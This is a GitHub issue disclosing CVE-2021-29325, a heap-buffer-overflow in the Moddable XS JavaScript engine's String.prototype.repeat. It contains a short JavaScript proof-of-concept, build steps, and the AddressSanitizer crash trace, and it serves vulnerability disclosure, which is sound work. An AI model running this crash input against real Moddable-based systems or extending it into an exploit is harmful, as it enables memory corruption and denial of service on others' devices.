CVE-2021-29325: heap-buffer-overflow(fx_String_prototype_repeat) · Issue #582 · Moddable-OpenSource/moddable

operating system: ubuntu18.04
compile command:  cd /pathto/moddable/xs/makefiles/lin
make
test command: ./xst poc


function getHiddenValue(){
    var obj = {};
    var oob = "/re/";
    //oob = oob.replace("re","*".repeat(0x2000));
    oob = oob.replace("re",oob = oob.replace("re","*".repeat(0x100000)).repeat(0x100000));
    var str =  'class x extends Array{'+oob+"}";
    var fun = eval(str);
    Object.assign(obj,fun);
    return obj;
}
function makeOobString(){
    var hiddenValue = getHiddenValue();
    var str =  'class x extends Array{}';
    var fun = eval(str);
    Object.assign(fun,hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
var oobString = makeOobString();



=================================================================
==5944==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f751f1fe820 at pc 0x7f75226c5904 bp 0x7fffc01aa870 sp 0x7fffc01aa018
WRITE of size 1048578 at 0x7f751f1fe820 thread T0
    #0 0x7f75226c5903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903)
    #1 0x61c670 in fx_String_prototype_repeat /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsString.c:969
    #2 0x5bcb2b in fxRunID /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:824
    #3 0x604ee7 in fxRunScript /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:4708
    #4 0x6fa9f9 in fxRunProgramFile /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:1369
    #5 0x6ed74c in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:270
    #6 0x7f7521d6982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x4146a8 in _start (/root/AFL/targets/moddable/xst+0x4146a8)

0x7f751f1fe820 is located 0 bytes to the right of 16777248-byte region [0x7f751e1fe800,0x7f751f1fe820)
allocated by thread T0 here:
    #0 0x7f75226d1602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x579189 in fxAllocateChunks /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsPlatforms.c:122
    #2 0x53cd2b in fxGrowChunks /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsMemory.c:377
    #3 0x53b7fe in fxAllocate /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsMemory.c:159
    #4 0x42095a in fxCreateMachine /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsAPI.c:1305
    #5 0x6ec9a0 in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:249
    #6 0x7f7521d6982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 __asan_memcpy
Shadow bytes around the buggy address:
  0x0fef23e37cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fef23e37cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fef23e37cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fef23e37ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fef23e37cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fef23e37d00: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa
  0x0fef23e37d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fef23e37d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fef23e37d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fef23e37d40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fef23e37d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==5944==ABORTING